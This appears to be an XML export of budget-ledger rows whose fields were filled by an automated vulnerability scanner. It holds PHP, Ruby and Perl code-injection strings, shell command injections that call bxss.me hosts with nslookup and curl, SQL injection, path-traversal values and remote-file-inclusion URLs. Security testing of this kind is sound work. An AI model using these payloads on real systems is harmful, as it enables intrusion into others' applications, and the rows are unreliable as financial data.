<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'.print(md5(31337)).'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>${@print(md5(31337))}</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>Http://bxss.me/t/fit.txt</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>MXo5Wnh0OG4=</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>';print(md5(31337));$a='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>c:/windows/win.ini</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>../../../../../../../../../../../../../../etc/shells</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'"()</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>"+"A".concat(70-3).concat(22*4).concat(118).concat(67).concat(117).concat(71)+(require"socket"
Socket.gethostbyname("hitwb"+"tjkztvkxe0b94.bxss.me.")[3].to_s)+"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>"+"A".concat(70-3).concat(22*4).concat(121).concat(84).concat(107).concat(77)+(require"socket"
Socket.gethostbyname("hitoo"+"ajsuuwro195f9.bxss.me.")[3].to_s)+"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>^(#$!@#$)(()))******</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=26 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>http://bxss.me/t/fit.txt%3F.jpg</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>!(()&amp;&amp;!|*|*|</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>Http://bxss.me/t/fit.txt</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>bxss.me</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>^(#$!@#$)(()))******</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>c:/windows/win.ini</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>!(()&amp;&amp;!|*|*|</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../../../../../../../../../../../../../../etc/shells</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'A'.concat(70-3).concat(22*4).concat(116).concat(84).concat(119).concat(67)+(require'socket'
Socket.gethostbyname('hitmf'+'maiayrks40723.bxss.me.')[3].to_s)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'.print(md5(31337)).'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>${@print(md5(31337))}</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>';print(md5(31337));$a='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1pu3RDY8T</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitdqlfzqyqqzb4f64.bxss.me||curl${IFS}hitdqlfzqyqqzb4f64.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitdqlfzqyqqzb4f64.bxss.me||curl${IFS}hitdqlfzqyqqzb4f64.bxss.me)&amp;`'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>|(nslookup${IFS}-q${IFS}cname${IFS}hitzlvhfdpflmcfba6.bxss.me||curl${IFS}hitzlvhfdpflmcfba6.bxss.me)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>;(nslookup -q=cname hitbbhzkjtgokb92fc.bxss.me||curl hitbbhzkjtgokb92fc.bxss.me)|(nslookup -q=cname hitbbhzkjtgokb92fc.bxss.me||curl hitbbhzkjtgokb92fc.bxss.me)&amp;(nslookup -q=cname hitbbhzkjtgokb92fc.bxss.me||curl hitbbhzkjtgokb92fc.bxss.me)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>';print(md5(31337));$a='</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;nslookup -q=cname hitjahkqrxaau078b0.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitjahkqrxaau078b0.bxss.me&amp;`'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>Http://bxss.me/t/fit.txt</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'.print(md5(31337)).'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(nslookup -q=cname hitkabayyqjfo57fc1.bxss.me||curl hitkabayyqjfo57fc1.bxss.me))</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>expr 9000175510 - 987516</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>|echo dpmuwd$()\ ympesb\nz^xyu||a #' |echo dpmuwd$()\ ympesb\nz^xyu||a #|" |echo dpmuwd$()\ ympesb\nz^xyu||a #</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>/etc/shells</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>bxss.me/t/xss.html?%00</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>';print(md5(31337));$a='</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>echo cdveiw$()\ plognr\nz^xyu||a #' &amp;echo cdveiw$()\ plognr\nz^xyu||a #|" &amp;echo cdveiw$()\ plognr\nz^xyu||a #</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>HttP://bxss.me/t/xss.html?%00</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>".gethostbyname(lc("hitmc"."ezisalnlaad4a.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(67).chr(118).chr(90)."</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
